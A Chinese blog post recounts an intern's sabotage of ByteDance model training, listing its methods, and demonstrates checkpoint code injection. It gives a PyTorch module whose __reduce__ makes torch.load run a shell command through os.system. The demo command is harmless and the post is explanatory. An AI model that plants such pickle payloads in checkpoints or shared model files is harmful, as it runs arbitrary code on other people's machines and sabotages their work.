当前位置：首页 > article >正文

【字节实习生模型训练代码注入】如何实现

article 2025/1/31 20:25:22

最近，某知名高校硕士生在字节实习期间，因对团队资源分配感到不满，于六月底利用攻击代码破坏了团队的模型训练任务，造成较大损失。
攻击手段包括，但不限于

修改集群pytorch源码，包括随机种子，优化器，数据加载
随机kill多机实验进程，导致大卡实验卡死
通过checkpoint注入攻击代码
参加集群故障排查日会，根据同事排查思路持续定向修改攻击代码
修改同事模型权重，造成实验结果无法复现

我们就来模拟一下攻击手段，只有了解如何攻击，才能知道如何防备。知己知彼百战百胜！

修改集群pytorch源码，包括随机种子，优化器，数据加载

集群一般会提供基础镜像包，估计该实习生更改了镜像包里的pytorch源码。别人使用该镜像包训练模型，就会出现各种问题。

随机kill多机实验进程，导致大卡实验卡死

为啥该实习生权限这么大，居然能kill掉别人的任务！！！

通过checkpoint注入攻击代码

import torch.nn as nn
import torch
import pickle


class PickleTest(nn.Module):
    def __init__(self):
        super(PickleTest, self).__init__()
        self.fc = nn.Linear(10, 10)

    def forward(self, x):
        x = self.fc(x)
        return x

    def __reduce__(self):
        return (__import__('os').system, ('ls /', ))
        # return (__import__('os').system, ('echo hello, you are being attacked.', ))

model = PickleTest()

torch.save(model, 'state_dict_model.pt')

new_model = torch.load('state_dict_model.pt')